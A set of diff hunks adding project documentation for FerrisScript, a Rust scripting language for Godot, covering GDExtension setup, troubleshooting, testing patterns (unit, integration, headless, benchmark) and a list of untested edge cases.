-**Recommendation**: **Defer to v0.6.0+** (not critical for v0.4.0)

+- `target/debug/ferrisscript_godot_bind.dll` (Windows)
+- `target/debug/libferrisscript_godot_bind.so` (Linux)
+- `target/debug/libferrisscript_godot_bind.dylib` (macOS)
+
+---
+
+### 3. Open Test Project in Godot
+
+1. Launch **Godot 4.2+**
+2. Go to **Project Manager** → **Import**
+3. Select: `godot_test/project.godot`
+4. Click **"Import & Edit"**
+
+---
+
+### 4. Verify GDExtension Loaded
+
+- Open Godot's **Output** panel (bottom of editor)
+- Look for:
+
+  ```
+  GDExtension loaded: res://ferrisscript.gdextension
+  ```
+
+- If you see errors like `classdb_register_extension_class5`, rebuild with `api-4-3` feature
+
+---
+
+### 5. Create Your First Script
+
+Create `godot_test/scripts/my_script.ferris`:
+
+```rust
+fn _ready() {
+    print("Hello from FerrisScript!");
+}
+
+fn _process(delta: f32) {
+    self.position.x += 50.0 * delta;
+}
+```
+
+---
+
+### 6. Attach Script to Node
+
+1. Add a **Node2D** to your scene
+2. In the **Inspector**, look for the **Script** property
+3. Click the script icon → **Load**
+4. Select `res://scripts/my_script.ferris`
+5. Run the scene (F5)
+
+---
+
+## 🐛 Troubleshooting
+
+### Error: "classdb_register_extension_class5" not found
+
+**Cause**: Godot 4.3+ requires `api-4-3` feature flag
+
+**Fix**: Update `crates/godot_bind/Cargo.toml`:
+
+```toml
+[dependencies]
+godot = { version = "0.4", features = ["api-4-3"] }
+```
+
+Then rebuild:
+
+```powershell
+cargo clean -p ferrisscript_godot_bind
+cargo build --package ferrisscript_godot_bind
+```
+
+---
+
+### Error: "GDExtension initialization failed"
+
+**Check**:
+
+1. DLL exists in `target/debug/`
+2. `godot_test/ferrisscript.gdextension` points to correct path
+3. Godot version matches gdext API version
+
+---
+
+### DLL Not Found
+
+**Verify paths in** `godot_test/ferrisscript.gdextension`:
+
+```ini
+[libraries]
+windows.debug.x86_64 = "res://../target/debug/ferrisscript_godot_bind.dll"
+```
+
+The `res://../target/` path is relative to `godot_test/` folder.
+
+---
+
+## 🔧 Advanced Configuration
+
+### Building for Release
+
+```powershell
+cargo build --package ferrisscript_godot_bind --release
+```
+
+Update Godot to use release build in `ferrisscript.gdextension`:
+
+```ini
+windows.release.x86_64 = "res://../target/release/ferrisscript_godot_bind.dll"
+```
+
+---
+
+### Godot Version Compatibility
+
+| Godot Version | gdext Feature Flag | Cargo.toml |
+|--------------|-------------------|-----------|
+| 4.2.x        | (default)         | `godot = "0.4"` |
+| 4.3.x        | `api-4-3`         | `godot = { version = "0.4", features = ["api-4-3"] }` |
+| 4.4.x        | `api-4-4`         | `godot = { version = "0.4", features = ["api-4-4"] }` |

+
+## 🔍 Testing Types & Procedures
+
+### Unit Testing (Compiler)
+
+**What**: Tests lexer, parser, type checker, and code generator logic  
+**When**: Testing pure compilation logic without runtime execution  
+**Location**: `crates/compiler/src/` (inline `#[cfg(test)] mod tests`)  
+
+**Documentation**:
+
+- [TESTING_GUIDE.md - Pattern 1](TESTING_GUIDE.md#pattern-1-unit-tests-rust-only)
+- [DEVELOPMENT.md - Running Tests](../DEVELOPMENT.md#run-tests)
+
+**Quick Start**:
+
+```bash
+# Run all compiler tests (543 tests)
+cargo test -p ferrisscript_compiler
+
+# Run specific test
+cargo test -p ferrisscript_compiler test_parse_assignment
+
+# Run with output
+cargo test -p ferrisscript_compiler -- --show-output
+```
+
+**Example Test**:
+
+```rust
+#[test]
+fn test_parse_assignment() {
+    let source = "let x = 42;";
+    let result = Parser::parse(source);
+    assert!(result.is_ok());
+    assert_eq!(result.unwrap().statements.len(), 1);
+}
+```
+
+---
+
+### Unit Testing (Runtime)
+
+**What**: Tests AST interpreter, runtime execution, and node callbacks  
+**When**: Testing runtime behavior without Godot GDExtension  
+**Location**: `crates/runtime/src/` and `crates/runtime/tests/`  
+
+**Documentation**:
+
+- [TESTING_GUIDE.md - Pattern 1](TESTING_GUIDE.md#pattern-1-unit-tests-rust-only)
+- [DEVELOPMENT.md - Test Structure](../DEVELOPMENT.md#test-structure)
+
+**Quick Start**:
+
+```bash
+# Run all runtime tests (110 tests)
+cargo test -p ferrisscript_runtime
+
+# Run specific test
+cargo test -p ferrisscript_runtime test_call_get_node_function
+
+# Run with output
+cargo test -p ferrisscript_runtime -- --show-output
+```
+
+**Example Test**:
+
+```rust
+#[test]
+fn test_call_get_node_function() {
+    let mut runtime = Runtime::new();
+    runtime.set_node_callback(|path| Ok(MockNode::new(path)));
+    
+    let result = runtime.call_function("get_node", vec!["Player"]);
+    assert!(result.is_ok());
+}
+```
+
+---
+
+### Integration Testing (.ferris Scripts)
+
+**What**: End-to-end testing of .ferris scripts running in Godot  
+**When**: Testing complete feature workflows with real Godot runtime  
+**Location**: `godot_test/scripts/*.ferris`  
+**Tool**: `ferris-test` CLI (from `crates/test_harness`)
+
+**Documentation**:
+
+- [TESTING_GUIDE.md - Pattern 2](TESTING_GUIDE.md#pattern-2-integration-tests-ferris-scripts)
+- [TEST_HARNESS_TESTING_STRATEGY.md](TEST_HARNESS_TESTING_STRATEGY.md) - Test harness design
+
+**Quick Start**:
+
+```bash
+# Run all integration tests (15+ tests)
+ferris-test --all
+
+# Run specific test
+ferris-test --script godot_test/scripts/export_properties_test.ferris
+
+# Filter by name
+ferris-test --all --filter "signal"
+
+# Verbose output
+ferris-test --all --verbose
+
+# JSON format (for CI)
+ferris-test --all --format json > results.json
+```
+
+**Example Test** (`godot_test/scripts/signal_test.ferris`):
+
+```ferrisscript
+// TEST: signal_emission
+// CATEGORY: integration
+// EXPECT: success
+// ASSERT: Signal emitted correctly
+
+export fn _ready() {
+    print("[TEST_START]");
+    
+    signal health_changed(i32, i32);
+    emit_signal("health_changed", 100, 80);
+    
+    print("[PASS] Signal emitted successfully");
+    print("[TEST_END]");
+}
+```
+
+**Configuration**: `ferris-test.toml` in workspace root
+
+---
+
+### Headless Testing (Godot Runtime)
+
+**What**: Tests Rust code that requires Godot runtime initialization  
+**When**: Testing GDExtension bindings, Godot type construction, PropertyInfo generation  
+**Location**: `crates/*/tests/headless_integration.rs` + `godot_test/scripts/*.gd`  
+
+**Documentation**:
+
+- [TESTING_GUIDE.md - Pattern 3](TESTING_GUIDE.md#pattern-3-gdextension-testing-godot-runtime)
+- [TESTING_GUIDE.md - Why Some Tests Are Ignored](TESTING_GUIDE.md#why-some-tests-are-ignored)
+
+**Quick Start**:
+
+```bash
+# Run headless tests (requires Godot)
+cargo test -p ferrisscript_godot_bind test_headless_integration
+
+# Note: Some tests are marked #[ignore] because they require Godot runtime
+# These are tested via integration tests with ferris-test instead
+```
+
+**Example Test**:
+
+```rust
+#[test]
+#[ignore = "requires Godot runtime - tested via ferris-test"]
+fn test_export_range_property() {
+    godot::init();
+    
+    let hint = PropertyHint::Range { min: 0, max: 100, step: 1 };
+    let result = map_hint(&hint);
+    
+    assert_eq!(result.hint_string(), "0,100,1");
+}
+```
+
+**Why Ignored?** Many GDExtension tests require `godot::init()` which can't run in standard unit tests. These are covered by integration tests instead. See [TESTING_GUIDE.md - Why Some Tests Are Ignored](TESTING_GUIDE.md#why-some-tests-are-ignored) for details.
+
+---
+
+### Benchmark Testing
+
+**What**: Performance benchmarks using Criterion.rs  
+**When**: Measuring compiler/runtime performance, regression detection  
+**Location**: `crates/*/benches/`  
+
+**Documentation**:
+
+- [TESTING_GUIDE.md - Pattern 4](TESTING_GUIDE.md#pattern-4-benchmark-tests)
+- [BENCHMARK_BASELINE.md](../BENCHMARK_BASELINE.md) - Performance baselines
+
+**Quick Start**:
+
+```bash
+# Run all benchmarks
+cargo bench
+
+# Run specific benchmark
+cargo bench --bench compilation
+
+# Run with baseline comparison
+cargo bench -- --save-baseline main
+cargo bench -- --baseline main
+```
+
+**Benchmark Suites**:
+
+- `compilation` - Full pipeline benchmarks
+- `lexer` - Tokenization performance
+- `parser` - AST construction performance
+- `type_checker` - Type checking performance
+- `execution` - Runtime execution performance
+
+**Baselines**: See [BENCHMARK_BASELINE.md](../BENCHMARK_BASELINE.md) for v0.0.4 performance targets
+

+
+## ✅ Testing Checklist for New Features
+
+Use this checklist when adding new functionality:
+
+### 1. Unit Tests (Required)
+
+- [ ] Add tests in `#[cfg(test)] mod tests` for pure logic
+- [ ] Test happy path (valid inputs)
+- [ ] Test error cases (invalid inputs)
+- [ ] Test edge cases (empty, null, boundary values)
+- [ ] Verify error messages are clear and actionable
+
+### 2. Integration Tests (Required for User-Facing Features)
+
+- [ ] Create `.ferris` script in `godot_test/scripts/`
+- [ ] Add test metadata (TEST, CATEGORY, EXPECT, ASSERT)
+- [ ] Use output markers ([TEST_START], [PASS], [FAIL], [TEST_END])
+- [ ] Test end-to-end workflow
+- [ ] Verify behavior in Godot runtime
+
+### 3. GDExtension Tests (If Applicable)
+
+- [ ] Add tests in `crates/*/tests/headless_integration.rs` if requiring Godot runtime
+- [ ] Mark as `#[ignore]` with reason if Godot init required
+- [ ] Ensure coverage via integration tests instead
+
+### 4. Benchmarks (If Performance-Critical)
+
+- [ ] Add benchmark in `crates/*/benches/`
+- [ ] Compare against baseline
+- [ ] Document performance expectations
+
+### 5. Documentation
+
+- [ ] Update [TESTING_GUIDE.md](TESTING_GUIDE.md) if new pattern added
+- [ ] Add test matrix entry if systematic tracking needed
+- [ ] Update this README if new test type added
+
+### 6. CI/CD
+
+- [ ] Verify tests run in CI pipeline (check `.github/workflows/`)
+- [ ] Ensure tests are headless (no GUI dependencies)
+- [ ] Test passes on all platforms (Windows, Linux, macOS)
+
+---
+
+## 🚨 Troubleshooting
+
+### Common Issues
+
+**Problem**: "Tests pass locally but fail in CI"
+
+- **Solution**: Check CI has Godot installed, uses headless variant, builds GDExtension first
+
+**Problem**: "GDExtension not loaded in tests"
+
+- **Solution**: Build with `cargo build --release`, verify `ferrisscript.gdextension` paths
+
+**Problem**: "ferris-test command not found"
+
+- **Solution**: Run `cargo build --release` in test_harness crate, or use `cargo run --bin ferris-test -- --all`
+
+**Problem**: "Test marked as failed but output looks correct"
+
+- **Solution**: Ensure markers ([TEST_START], [PASS], [FAIL], [TEST_END]) are present, run with `--verbose`
+
+**Problem**: Copilot suggests creating duplicate testing infrastructure
+
+- **Solution**: ⚠️ **Testing infrastructure already exists!** Point to [TESTING_GUIDE.md](TESTING_GUIDE.md) and this README
+
+**Full Troubleshooting**: See [TESTING_GUIDE.md - Troubleshooting](TESTING_GUIDE.md#troubleshooting)
+
+---
+

+- **Update this README** as testing practices evolve
+
+---
+
+## 💡 Testing Best Practices
+
+1. **Test at the Right Layer**: Don't use integration tests for unit-testable logic
+2. **Use Existing Infrastructure**: Leverage `ferris-test` and `test_harness` instead of creating new tools
+3. **Document Test Intent**: Every test should clearly state what it validates
+4. **Make Tests CI-Friendly**: All tests must run headlessly without GUI
+5. **Optimize for Fast Feedback**: Unit tests <1s, integration tests <30s
+6. **Track Coverage Systematically**: Use test matrices to identify gaps
+7. **Update Documentation**: Keep [TESTING_GUIDE.md](TESTING_GUIDE.md) and this README in sync
+
+---
+
+## 🔄 Document Maintenance
+
+**Update Frequency**: After each version release or when testing patterns change
+
+**Review Triggers**:
+
+- New testing pattern added
+- New test type introduced
+- Test coverage targets changed
+- Test harness upgraded
+- CI/CD pipeline modified
+
+**Ownership**: Project Lead (solo dev) + Community Contributors
+
+**Last Review**: October 10, 2025 (v0.0.4 completion)

+│   Layer 1: Unit Tests (Rust)               │  ← Pure logic
+└─────────────────────────────────────────────┘
+```
+
+### Key Principles
+
+1. **Test at the Right Layer**: Don't use integration tests for unit-testable logic
+2. **Use Existing Infrastructure**: Leverage `test_harness` and `ferris-test.toml`
+3. **Document Test Intent**: Every test should clearly state what it validates
+4. **Use Standardized TEST Headers**: All `.ferris` files include TEST metadata (see below)
+5. **CI-Friendly**: All tests must run headlessly without GUI
+6. **Fast Feedback**: Unit tests run in <1s, integration tests in <30s
+
+### TEST Metadata Format (v0.0.4+)
+
+All `.ferris` example and test files now include standardized headers for test runner integration:
+
+```ferris
+// TEST: test_name_here
+// CATEGORY: unit|integration|error_demo
+// DESCRIPTION: Brief description of what this tests
+// EXPECT: success|error
+// ASSERT: Expected output line 1
+// ASSERT: Expected output line 2
+// EXPECT_ERROR: E200  (optional, for negative tests)
+//
+// Additional documentation follows...
+```
+
+**Example**:
+
+```ferris
+// TEST: hello_world
+// CATEGORY: integration
+// DESCRIPTION: Basic "Hello World" example demonstrating _ready() lifecycle hook
+// EXPECT: success
+// ASSERT: Hello from FerrisScript!
+//
+// This is the simplest FerrisScript example...
+```
+
+**Benefits**:
+
+- Automated test discovery
+- Assertion validation
+- Categorization (unit vs integration)
+- Documentation generation
+- Consistent test structure
+
+**See**: [`docs/testing/TEST_HARNESS_TESTING_STRATEGY.md`](TEST_HARNESS_TESTING_STRATEGY.md) for metadata parser details

+
+---
+
+## Pattern 1: Unit Tests (Rust Only)
+
+**When to use**: Pure logic without Godot dependencies
+
+**Location**: Inline `#[cfg(test)] mod tests` in source files
+
+**Example**: Compiler type checking, runtime value operations
+
+### Structure
+
+```rust
+// In crates/compiler/src/type_checker.rs
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn test_export_range_hint_valid_i32() {
+        let source = r#"
+            @export @range(0, 100, 1)
+            global health: i32 = 50;
+        "#;
+        
+        let result = type_check(source);
+        assert!(result.is_ok());
+    }
+}
+```
+
+### Running
+
+```bash
+# All unit tests
+cargo test
+
+# Specific crate
+cargo test --package ferrisscript_compiler
+
+# Specific test
+cargo test test_export_range_hint_valid_i32
+
+# With output
+cargo test -- --nocapture
+```
+
+### Coverage
+
+- ✅ **compiler**: 543 tests (lexer, parser, type checker, error system)
+- ✅ **runtime**: 110 tests (execution, scoping, value operations)
+- ✅ **godot_bind**: 11 tests (type mapping, API structure)
+- ✅ **test_harness**: 38 tests (parser, output validation, scene builder)
+
+**Total**: ~702 unit tests
+
+---
+
+## Pattern 2: Integration Tests (.ferris Scripts)
+
+**When to use**: End-to-end validation of FerrisScript → Godot compilation and execution
+
+**Location**: `godot_test/scripts/*.ferris`
+
+**Infrastructure**: `test_harness` crate + `ferris-test.toml`
+
+### How It Works
+
+1. Write `.ferris` script with test metadata comments
+2. Run via `ferris-test` CLI (uses `test_harness` crate)
+3. CLI dynamically generates `.tscn` scene file
+4. Godot runs headlessly with the scene
+5. Output is parsed for `[PASS]`/`[FAIL]` markers
+6. Results reported to console/JSON/TAP
+
+### Example Test Script
+
+```ferrisscript
+// godot_test/scripts/export_properties_test.ferris
+// @test-category: integration
+// @test-name: Exported Properties with All Types and Hints
+// @expect-pass
+
+// Test exported properties
+@export
+global basic_int: i32 = 42;
+
+@export @range(0, 100, 1)
+global health: i32 = 100;
+
+@export @enum("Small", "Medium", "Large")
+global size: String = "Medium";
+
+fn _ready() {
+    print("[TEST_START]");
+    
+    // Test basic int
+    if basic_int == 42 {
+        print("[PASS] basic_int has correct value");
+    } else {
+        print("[FAIL] basic_int incorrect");
+    }
+    
+    // Test range
+    if health >= 0 && health <= 100 {
+        print("[PASS] health within range");
+    } else {
+        print("[FAIL] health out of range");
+    }
+    
+    print("[TEST_END]");
+}
+```
+
+### Test Metadata Comments
+
+```ferrisscript
+// @test-category: integration | unit | feature | regression
+// @test-name: Human-readable test description
+// @expect-pass | @expect-error(E301) | @expect-error-demo
+// @assert: condition description (optional, multiple allowed)
+```
+
+### Running Integration Tests
+
+```bash
+# Run single test
+ferris-test --script godot_test/scripts/export_properties_test.ferris
+
+# Run all tests
+ferris-test --all
+
+# Filter by name
+ferris-test --all --filter "export"
+
+# Verbose output
+ferris-test --all --verbose
+
+# JSON format (for CI)
+ferris-test --all --format json > results.json
+```
+
+### Configuration (ferris-test.toml)
+
+```toml
+# Location: workspace root
+godot_executable = "Y:\\cpark\\Projects\\Godot\\Godot_v4.5-dev4_win64.exe\\Godot_v4.5-dev4_win64_console.exe"
+project_path = "./godot_test"
+timeout_seconds = 30
+output_format = "console"
+verbose = true
+```
+
+**Environment Overrides**:
+
+- `GODOT_BIN`: Override godot_executable
+- `GODOT_PROJECT_PATH`: Override project_path
+- `GODOT_TIMEOUT`: Override timeout_seconds
+
+### Coverage
+
+Current integration tests:
+
+- ✅ `export_properties_test.ferris` - All 8 types, 4 hint types
+- ✅ `clamp_on_set_test.ferris` - Range clamping behavior
+- ✅ `signal_test.ferris` - Signal emission
+- ✅ `process_test.ferris` - Lifecycle functions
+- ✅ `node_query_*.ferris` - Scene tree queries
+- ✅ `struct_literals_*.ferris` - Godot type construction
+- ✅ `bounce_test.ferris`, `move_test.ferris`, `hello.ferris` - Examples
+
+**Total**: 15+ integration tests
+
+See: `docs/planning/v0.0.4/INTEGRATION_TESTS_REPORT.md` for detailed results
+
+---
+
+## Pattern 3: GDExtension Testing (Godot Runtime)
+
+**When to use**: Testing Rust functions that construct Godot types (`GString`, `PropertyInfo`, etc.)
+
+**Location**: `crates/{crate}/tests/headless_integration.rs` + `godot_test/scripts/*.gd`
+
+**Why needed**: Some Rust functions require `godot::init()` which can't run in unit tests
+
+### The Problem
+
+```rust
+// In crates/godot_bind/src/lib.rs
+
+fn map_hint(hint: &ast::PropertyHint) -> PropertyHintInfo {
+    match hint {
+        ast::PropertyHint::Range { min, max, step } => {
+            export_info_functions::export_range(  // ← Requires godot::init()
+                *min as f64,
+                *max as f64,
+                Some(*step as f64),
+                // ...
+            )
+        }
+        // ...
+    }
+}
+
+#[test]
+#[ignore = "Requires Godot engine runtime"]
+fn test_map_hint_range() {
+    let hint = ast::PropertyHint::Range { min: 0.0, max: 100.0, step: 1.0 };
+    let result = map_hint(&hint);  // ← FAILS: godot::init() not called
+    assert_eq!(result.hint, PropertyHint::RANGE);
+}
+```
+
+### The Solution: GDScript Test Runner
+
+**Step 1**: Create GDScript test runner
+
+```gdscript
+# godot_test/scripts/godot_bind_tests.gd
+extends Node
+
+var passed_tests: int = 0
+var failed_tests: int = 0
+
+func _ready():
+    print("[TEST_START]")
+    
+    test_basic_functionality()
+    test_property_hint_enum()
+    # ... more tests
+    
+    print("[SUMMARY] Total: %d, Passed: %d, Failed: %d" % 
+          [passed_tests + failed_tests, passed_tests, failed_tests])
+    print("[TEST_END]")
+    
+    get_tree().quit(failed_tests if failed_tests > 0 else 0)
+
+func test_basic_functionality():
+    run_test("Basic Node Creation", func():
+        var node = Node.new()
+        assert_not_null(node, "Node should be created")
+        node.queue_free()
+    )
+
+func test_property_hint_enum():
+    run_test("PropertyHint Enum Exists", func():
+        # Validate that PropertyHint enum is accessible
+        assert_equal(PropertyHint.NONE, 0, "PropertyHint.NONE should be 0")
+        assert_equal(PropertyHint.RANGE, 1, "PropertyHint.RANGE should be 1")
+    )
+
+func run_test(test_name: String, test_func: Callable):
+    print("[TEST] Running: %s" % test_name)
+    var error = test_func.call()
+    if error == null:
+        print("[PASS] %s" % test_name)
+        passed_tests += 1
+    else:
+        print("[FAIL] %s - %s" % [test_name, error])
+        failed_tests += 1
+
+func assert_equal(actual, expected, message: String):
+    if actual != expected:
+        return "%s (expected: %s, got: %s)" % [message, expected, actual]
+    return null
+
+func assert_not_null(value, message: String):
+    if value == null:
+        return message
+    return null
+```
+
+**Step 2**: Create test scene
+
+```
+# godot_test/test_godot_bind.tscn
+[gd_scene load_steps=2 format=3]
+
+[ext_resource type="Script" path="res://scripts/godot_bind_tests.gd" id="1"]
+
+[node name="GodotBindTests" type="Node"]
+script = ExtResource("1")
+```
+
+**Step 3**: Create Rust integration test
+
+```rust
+// crates/godot_bind/tests/headless_integration.rs
+
+use ferrisscript_test_harness::{TestConfig, TestOutput, GodotRunner};
+use std::path::PathBuf;
+
+fn get_test_config() -> Result<TestConfig, String> {
+    let workspace_root = PathBuf::from(env!("CARGO_MANIFEST_DIR"))
+        .parent().unwrap()
+        .parent().unwrap()
+        .to_path_buf();
+    
+    let config_path = workspace_root.join("ferris-test.toml");
+    
+    let mut config = if config_path.exists() {
+        TestConfig::from_file(&config_path)
+            .map_err(|e| format!("Failed to load config: {}", e))?
+    } else {
+        TestConfig::default()
+    };
+    
+    config = config.with_env_overrides();
+    Ok(config)
+}
+
+#[test]
+#[ignore = "Requires Godot executable - configure in ferris-test.toml"]
+fn test_godot_headless_basic() {
+    let config = get_test_config().expect("Failed to load config");
+    
+    let runner = GodotRunner::new(
+        config.godot_executable,
+        config.project_path,
+        config.timeout_seconds,
+    );
+    
+    let test_scene = PathBuf::from("test_godot_bind.tscn");
+    let output = runner.run_headless(&test_scene)
+        .expect("Failed to run Godot");
+    
+    // Parse [PASS]/[FAIL] markers
+    let passed = output.stdout.contains("[PASS]") 
+                 && !output.stdout.contains("[FAIL]");
+    
+    assert!(passed, "Test failed. Output:\n{}", output.stdout);
+    assert_eq!(output.exit_code, 0);
+}
+```
+
+### Running GDExtension Tests
+
+```bash
+# Run ignored tests (requires Godot configured in ferris-test.toml)
+cargo test --package ferrisscript_godot_bind --test headless_integration -- --ignored --nocapture
+
+# Or use environment override
+GODOT_BIN=/path/to/godot cargo test --package ferrisscript_godot_bind --test headless_integration -- --ignored
+```
+
+### When to Add GDExtension Tests
+
+Add GDExtension tests when you have Rust functions that:
+
+1. Construct Godot types (`GString`, `PropertyInfo`, `Variant`, etc.)
+2. Call Godot API functions
+3. Need `godot::init()` to run
+4. Can't be unit tested due to Godot runtime requirements
+
+**Don't** add GDExtension tests for:
+
+- Pure Rust logic (use unit tests)
+- End-to-end `.ferris` script behavior (use integration tests)
+
+### Coverage
+
+Current GDExtension tests:
+
+- ✅ Basic Godot functionality (Node creation, PropertyHint enum)
+- ⏳ FerrisScriptTestNode (planned - will test map_hint(), metadata_to_property_info())
+
+**Why 10 godot_bind tests are ignored**: They're low-level binding tests that require Godot runtime. The functionality IS tested via integration tests (`export_properties_test.ferris` validates all hint types work correctly). See [Why Some Tests Are Ignored](#why-some-tests-are-ignored).

+## Pattern 4: Benchmark Tests
+
+**When to use**: Performance regression detection
+
+**Location**: `crates/compiler/benches/*.rs`
+
+**Infrastructure**: Criterion.rs
+
+### Example Benchmark
+
+```rust
+// crates/compiler/benches/parser_bench.rs
+
+use criterion::{black_box, criterion_group, criterion_main, Criterion};
+use ferrisscript_compiler::parse;
+
+fn bench_parse_hello(c: &mut Criterion) {
+    let source = r#"
+        fn _ready() {
+            print("Hello, world!");
+        }
+    "#;
+    
+    c.bench_function("parse hello", |b| {
+        b.iter(|| parse(black_box(source)))
+    });
+}
+
+criterion_group!(benches, bench_parse_hello);

+
+## Why Some Tests Are Ignored
+
+### The 10 Ignored godot_bind Tests
+
+**Location**: `crates/godot_bind/src/lib.rs`
+
+**Tests**:
+
+1. `test_map_hint_none`
+2. `test_map_hint_range`
+3. `test_map_hint_enum`
+4. `test_map_hint_file_with_dots`
+5. `test_map_hint_file_with_wildcards`
+6. `test_map_hint_file_without_dots`
+7. `test_metadata_basic_property`
+8. `test_metadata_with_range_hint`
+9. `test_metadata_with_enum_hint`
+10. `test_metadata_with_file_hint`
+
+**Why Ignored**: These tests call functions that construct Godot types (`GString`, `PropertyHintInfo`), which require `godot::init()`. This can't be called in Rust unit tests because:
+
+1. Godot initialization is a one-time global operation
+2. It requires the Godot engine to be running
+3. Multiple tests calling `godot::init()` would conflict
+4. Unit tests run in parallel, making initialization unsafe
+
+**Are They Tested?**: YES! The functionality IS validated via:
+
+1. **Integration Tests** (Layer 3): `export_properties_test.ferris` tests all 8 types and 4 hint types end-to-end
+2. **GDExtension Tests** (Layer 2): `headless_integration.rs` can test these functions directly once `FerrisScriptTestNode` is added
+
+**Should They Be Enabled?**: NO. They serve as documentation of the API but are redundant with higher-level tests. The ignore attribute correctly indicates these are low-level functions requiring Godot runtime.
+
+**Alternative Approach**: If unit testing these functions is critical, they could be refactored to:
+
+1. Extract pure logic into testable helper functions
+2. Keep Godot type construction in thin wrappers
+3. Unit test the helpers, integration test the wrappers
+
+See: `docs/planning/v0.0.4/TESTING_STRATEGY_PHASE5.md` Section "godot_bind Tests (21 tests: 11 passing, 10 failing)"
+
+---
+
+## Troubleshooting
+
+### "Godot executable not found"
+
+**Problem**: Tests can't find Godot
+
+**Solution**:
+
+1. Check `ferris-test.toml` has correct `godot_executable` path
+2. Or set `GODOT_BIN` environment variable
+3. Ensure Godot 4.3+ is installed
+
+```bash
+# Windows
+$env:GODOT_BIN = "C:\Godot\Godot_v4.3-stable_win64.exe"
+
+# Linux
+export GODOT_BIN="/usr/local/bin/godot"
+```
+
+### "Test timeout"
+
+**Problem**: Test exceeds timeout_seconds
+
+**Solution**:
+
+1. Increase `timeout_seconds` in `ferris-test.toml`
+2. Or set `GODOT_TIMEOUT` environment variable
+3. Check if Godot is hanging (try `--verbose` flag)
+
+### "Scene not found"
+
+**Problem**: Godot can't find test scene
+
+**Solution**:
+
+1. Verify `project_path` points to `godot_test/`
+2. Check scene file exists (`test_godot_bind.tscn`, `test_{name}.tscn`)
+3. Ensure scene format is Godot 4.x compatible
+
+### "GDExtension not loaded"
+
+**Problem**: Godot can't load FerrisScript GDExtension
+
+**Solution**:
+
+1. Build GDExtension: `cargo build --release`
+2. Check `godot_test/ferrisscript.gdextension` paths are correct
+3. Verify `.dll`/`.so` exists in `target/release/`
+4. Check Godot console output for load errors
+
+### "Test marked as failed but output looks correct"
+
+**Problem**: Parser misinterpreted output
+
+**Solution**:
+
+1. Ensure test uses `[TEST_START]`, `[PASS]`, `[FAIL]`, `[TEST_END]` markers
+2. Check for extra `[FAIL]` markers in error messages
+3. Run with `--verbose` to see full output
+4. Verify exit code (0 = pass, non-zero = fail)
+
+### "Tests pass locally but fail in CI"
+
+**Problem**: Environment differences
+
+**Solution**:
+
+1. Check CI has Godot installed
+2. Verify CI uses headless/console Godot variant
+3. Ensure GDExtension is built before tests run
+4. Check for absolute paths in tests (use config-based paths)

+- ⚠️ **Partially Covered**: 6 test cases
+- ❌ **Not Covered**: 7 test cases
+
+---
+
+## Identified Gaps by Category
+
+### 1. Path Handling Edge Cases (Node Queries)
+
+**Current**: Only test simple child paths like "Player", "UI", nested like "UI/HUD/HealthBar"
+
+**Missing**:
+
+- ❌ Relative paths: `"../Sibling"`, `"./Child"`
+- ❌ Absolute paths: `"/root/Main/Player"`
+- ❌ Path with trailing slash: `"UI/"`
+- ❌ Path with leading slash: `"/Player"`
+- ❌ Empty string: `""`
+- ❌ Path with spaces: `"My Player"`
+- ❌ Path with special chars: `"Player-1"`, `"UI@2"`
+- ❌ Very long paths (100+ chars)
+- ❌ Unicode in paths: `"玩家"`, `"Игрок"`
+- ❌ Path with dots: `"..."`
+- ❌ Path components that look like relative: `"NotRelative../Child"`
+
+**Impact**: High - Path handling is core functionality, security risk if not validated
+
+**Recommendation**: Add dedicated test suite for path edge cases
+
+### 2. Callback Behavior (Node Queries)
+
+**Current**: Only `test_node_query_without_callback` in runtime
+
+**Missing**:
+
+- ❌ `get_node()` without callback (should return SelfObject)
+- ❌ `get_parent()` without callback
+- ❌ `has_node()` without callback (should return false?)
+- ❌ `find_child()` without callback
+- ❌ Behavior when callback returns error
+- ❌ Behavior when callback returns None
+- ❌ Callback performance with many queries
+
+**Impact**: Medium - Affects developer experience, could cause confusion
+
+**Recommendation**: Test each node query function with/without callback
+
+### 3. Error Propagation & Recovery
+
+**Current**: Basic error tests exist, but error propagation not tested
+
+**Missing**:
+
+- ❌ Error from `get_node()` stops execution?
+- ❌ Can catch node query errors with try/catch (when implemented)?
+- ❌ Error messages are clear and actionable?
+- ❌ Errors include context (file, line, function)?
+- ❌ Multiple errors in sequence?
+- ❌ Error during callback execution?
+
+**Impact**: Medium - Affects debugging experience
+
+**Recommendation**: Add error propagation integration tests
+
+### 4. Performance & Scale
+
+**Current**: No performance tests
+
+**Missing**:
+
+- ❌ Many sequential node queries (100+)
+- ❌ `find_child()` on deep trees (100+ levels)
+- ❌ `find_child()` on wide trees (1000+ siblings)
+- ❌ Signal emission in hot loop (1000+ per frame)
+- ❌ Many signal declarations (100+)
+- ❌ Many signal parameters (10+)
+- ❌ Memory leak from callback closures?
+
+**Impact**: Medium - Could cause performance issues in production
+
+**Recommendation**: Add performance benchmarks, not just correctness tests
+
+### 5. Signal Edge Cases
+
+**Current**: Good coverage of basic signal operations
+
+**Missing**:
+
+- ❌ Signal name as runtime variable: `let name = "health_changed"; emit_signal(name, ...)`
+- ❌ Emitting undefined signal (runtime error vs compile error)
+- ❌ Very long signal names (100+ chars)
+- ❌ Unicode in signal names
+- ❌ Special characters in signal names
+- ❌ Signal parameters at maximum (10+?)
+- ❌ Nested signal emissions (signal handler emits signal)
+- ❌ Recursive signal emissions (signal A→B→A)
+
+**Impact**: Low-Medium - Less common but could cause issues
+
+**Recommendation**: Add signal edge case test suite
+
+### 6. Integration Scenarios
+
+**Current**: Examples show basic usage patterns
+
+**Missing**:
+
+- ❌ Node queries in signal handlers
+- ❌ Signals emitted from node query callbacks
+- ❌ Chained node queries (`get_parent().get_node()` - not supported?)
+- ❌ Node queries with mutable state
+- ❌ Concurrent node queries (if async added)
+- ❌ Node queries across scene changes
+- ❌ Signal emissions during scene transitions
+
+**Impact**: Medium - Real-world usage patterns
+
+**Recommendation**: Add integration test scenarios
+
+### 7. Type System Interactions
+
+**Current**: Compiler tests cover basic type checking
+
+**Missing**:
+
+- ❌ Node query return type used in expressions
+- ❌ Signal parameters with complex types (custom structs?)
+- ❌ Type inference with node queries
+- ❌ Generic types in signal parameters (when added)
+- ❌ Nullable vs non-nullable node returns
+
+**Impact**: Low - Type system is stable, but interactions not tested
+
+**Recommendation**: Add type system integration tests
+
+---
+
+## Systematic Coverage Tracking Mechanism
+
+### Problem
+
+Current approach relies on:
+
+1. **Code coverage** - Shows lines executed, not scenarios covered
+2. **Manual review** - Labor-intensive, error-prone, not scalable
